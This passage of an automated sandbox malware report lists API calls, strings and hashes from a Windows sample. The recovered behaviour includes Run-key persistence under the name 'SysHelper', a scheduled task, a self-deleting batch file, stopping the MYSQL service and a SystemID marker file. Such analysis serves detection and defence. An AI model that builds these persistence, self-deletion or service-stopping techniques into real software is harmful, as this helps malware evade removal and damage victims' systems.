CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

TEMP, xrefs: 004125DF
D, xrefs: 00412720
" goto try, xrefs: 00412666
"if exist ", xrefs: 00412648
delself.bat, xrefs: 0041261C
@echo off:trydel ", xrefs: 0041262A
del ", xrefs: 00412674
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

, xrefs: 00463A90
-----, xrefs: 004636D4, 00463A21
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4
-----BEGIN , xrefs: 004636A4

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(008A53F0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

